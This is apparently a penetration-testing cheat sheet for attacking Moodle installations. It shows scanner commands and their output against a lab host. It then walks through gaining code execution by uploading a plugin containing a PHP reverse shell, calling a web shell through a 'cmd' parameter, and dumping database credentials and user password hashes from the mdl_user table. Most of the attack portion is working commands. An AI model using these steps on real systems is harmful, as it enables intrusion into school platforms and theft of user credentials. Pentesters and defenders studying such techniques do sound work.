Moodle

Automatic Scans

droopescan

pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/

[+] Plugins found:                                                              
    forum http://moodle.schooled.htb/moodle/mod/forum/
        http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
        http://moodle.schooled.htb/moodle/mod/forum/version.php

[+] No themes found.

[+] Possible version(s):
    3.10.0-beta

[+] Possible interesting urls found:
    Static readme file. - http://moodle.schooled.htb/moodle/README.txt
    Admin panel - http://moodle.schooled.htb/moodle/login/

[+] Scan finished (0:00:05.643539 elapsed)

moodlescan

#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/

Version 0.7 - Dic/2020
.............................................................................................................

By Victor Herrera - supported by www.incode.cl

.............................................................................................................

Getting server information http://moodle.schooled.htb/moodle/ ...

server             : Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by       : PHP/7.4.15
x-frame-options    : sameorigin
last-modified      : Wed, 07 Apr 2021 21:33:41 GMT

Getting moodle version...

Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta

Searching vulnerabilities...


Vulnerabilities found: 0

Scan completed.

CMSMap

pip3 install cmsmap
cmsmap http://moodle.example.com/<moodle_path>

CVEs

I found that the automatic tools are pretty useless finding vulnerabilities affecting the moodle version. You can check for them in https://snyk.io/vuln/composer:moodle%2Fmoodle****

RCE

You need to have manager role and you can install plugins inside the "Site administration" tab:

If you are manager you may still need to activate this option. You can see how ins the moodle privilege escalation PoC: https://github.com/HoangKien1020/CVE-2020-14321.

Then, you can install the following plugin that contains the classic pentest-monkey php rev shell (before uploading it you need to decompress it, change the IP and port of the revshell and crompress it again)

3KB

moodle-rce-plugin.zip

archive

Open

Or you could use the plugin from https://github.com/HoangKien1020/Moodle_RCE to get a regular PHP shell with the "cmd" parameter.

To access launch the malicious plugin you need to access to:

http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id

POST

Find database credentials

find / -name "config.php" 2>/dev/null | grep "moodle/config.php"

Dump Credentials from database

/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"